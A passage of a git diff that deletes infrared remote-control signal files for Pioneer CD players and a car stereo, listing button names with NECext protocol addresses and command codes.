A2 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 09 00 00 00 -# -name: Level+ -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0A 00 00 00 -# -name: Level- -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0B 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: Manual_Forward -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: Manual_Back -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: Track_Forward -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: Track_Back -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1C 00 00 00 -# -name: RandomPlay -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 51 00 00 00 -# -name: >20 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 56 00 00 00 -# -name: Hi-LiteScan -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 81 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 82 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 83 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 84 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 85 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 86 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 87 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 88 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 89 00 00 00 -# -name: KEY_0_Prefix -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir deleted file mode 100644 index cde1d2061..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: dacx -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0C 00 00 00 -# -name: scan- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: ctrl -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 37 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 43 00 00 00 -# -name: repeatb -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 44 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 46 00 00 00 -# -name: scan+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 47 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 47 00 00 00 -# -name: repeata -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 48 00 00 00 -# -name: step- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: step+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: speed- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: speed+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5A 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir deleted file mode 100644 index 4264bdb4d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 09 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: chp/tm -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 19 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 19 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1F 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 43 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 44 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: repeata-b -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 48 00 00 00 -# -name: pgm -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4C 00 00 00 -# -name: step- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: seek+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: seek- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: step+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: multi-speed- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: multi-speed+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5A 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir deleted file mode 100644 index e708c4e69..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0C 00 00 00 -# -name: PROGRAMMEMORY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: PREVTRACK -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 43 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 45 00 00 00 -# -name: AUTOPGM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4B 00 00 00 -# -name: MUSICWINDOW -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4D 00 00 00 -# -name: FADEIN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4E 00 00 00 -# -name: FADEOUT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 51 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 54 00 00 00 -# -name: PREVINDEX -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 55 00 00 00 -# -name: TIMEFADE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir deleted file mode 100644 index c4d465b0b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: N10 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: N1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 01 00 00 00 -# -name: N2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 02 00 00 00 -# -name: N3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 03 00 00 00 -# -name: N4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 04 00 00 00 -# -name: N5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 05 00 00 00 -# -name: N6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 06 00 00 00 -# -name: N7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 07 00 00 00 -# -name: N8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 08 00 00 00 -# -name: N9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 09 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0A 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0B 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4B 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 56 00 00 00 -# -name: HI-LITE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir deleted file mode 100644 index 0f47f2d33..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 09 00 00 00 -# -name: Output_+ -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0A 00 00 00 -# -name: Output_- -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0B 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: Manual_+ -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: Manual_- -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: Track_+ -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: Track_- -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1C 00 00 00 -# -name: Random_Play -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: LargerThan10 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 56 00 00 00 -# -name: Hi_Lite_Scan -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir deleted file mode 100644 index 140e79f5d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 09 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0C 00 00 00 -# -name: pgm -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1C 00 00 00 -# -name: disc+ -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1D 00 00 00 -# -name: set_track -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 40 00 00 00 -# -name: set_disc -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 41 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 9C 00 00 00 -# -name: disc- -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir deleted file mode 100644 index a6abe441a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 09 00 00 00 -# -name: out+ -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0A 00 00 00 -# -name: out- -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0B 00 00 00 -# -name: pgm -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: for -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1C 00 00 00 -# -name: rnd -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 56 00 00 00 -# -name: hi-lite -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir deleted file mode 100644 index 6844701f2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 09 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0C 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1C 00 00 00 -# -name: DISK_+ -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1D 00 00 00 -# -name: TRACK_SET -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 40 00 00 00 -# -name: DISC_SET -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 41 00 00 00 -# -name: TIME/CHARA -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 43 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 45 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: HI-LITE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5E 00 00 00 -# -name: DISK_-2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 93 00 00 00 -# -name: TITLE_DISPLAY2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 94 00 00 00 -# -name: TITLE_INPUT2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 95 00 00 00 -# -name: BEST2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 9B 00 00 00 -# -name: CURSOR_right2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 9B 00 00 00 -# -name: MODE2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 9C 00 00 00 -# -name: CURSOR_left2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 9C 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: TITLE_INPUT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: DISK_- -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: BEST -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C2 00 00 00 -# -name: TITLE_DISPLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C2 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C6 00 00 00 -# -name: CURSOR_left -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C6 00 00 00 -# -name: CURSOR_right -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir deleted file mode 100644 index 78bbcb52a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 